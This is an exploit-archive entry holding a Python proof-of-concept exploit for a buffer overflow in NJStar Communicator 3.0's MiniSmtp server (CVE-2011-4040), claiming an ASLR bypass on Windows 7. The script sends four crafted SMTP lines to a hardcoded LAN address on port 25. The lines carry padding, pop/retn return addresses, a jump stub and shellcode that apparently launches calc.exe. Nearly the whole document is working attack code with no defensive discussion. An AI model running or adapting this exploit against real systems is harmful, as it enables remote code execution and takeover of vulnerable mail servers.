NJStar Communicator MiniSmtp – Buffer Overflow (ASLR Bypass)
# Exploit Title: NJStart Communicator MiniSmtp Buffer Overflow [ASLR Bypass] # Date: 02/12/11 # Author: Zune - Julian Pulido # Software Link: http://www.njstar.com/download/njcom.exe # Version: 3.0 # Build: 11818 and previous # Tested on: Windows 7 Ultimate # CVE:2011-4040 #! /usr/local/bin/python import socket import time carriage= chr(0xd) ####################################### Padding1= chr(0x31)* 275 Jump= '\x8d\x44\x24\x80\xff\xe0\x90\x90' Junk1= chr(0x90)* 4 return1= '\x2d\x12\x41' # pop retn egg1= Padding1+Jump+Junk1+return1+carriage ####################################### Padding2= chr(0x32)* 271 return2= '\x2b\x12\x41' # pop pop pop retn egg2= Padding2+return2+carriage ####################################### Padding3= chr(0x33) * 263 return3= '\x2d\x12\x41' # pop retn egg3= Padding3+return3+carriage ####################################### Padding4= chr(0x34) * 171 Padding5= chr(0x34) * 22 ShellCode = "\xC7\x43\x20\x63\x61\x6C\x63\xC7\x43\x24\x2E\x65\x78\x65\x33\xC0\ \x66\xB8\x1A\x08\xC1\xE0\x08\xB0\x79\x03\xE8\x8D\x43\x20\x33\xC9\xB1\x01\xC1\ \xC1\x0C\x2B\xE1\x6A\x05\x50\xFF\xD5\x8D\x85\x85\x44\xF8\xFF\x6A\x01\xFF\xD0" return4= '\x2b\x12\x41' # pop pop pop retn egg4= Padding4+ShellCode+Padding5+return4+carriage ####################################### def Send_SMTP (egg): connectionx.send(egg +'\n') time.sleep(2) connectionx = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print "Exploit NJStar Communicator 3.0 MiniSmtp by Zune\n" print "Windows 7 Ultimate [ASLR Bypass]" try: connectionx.connect(("192.168.1.65",25))#SMTP port 25 Send_SMTP(egg1) Send_SMTP(egg2) Send_SMTP(egg3) Send_SMTP(egg4) connectionx.close() except socket.error: print "it couldn't connect" time.sleep(2) |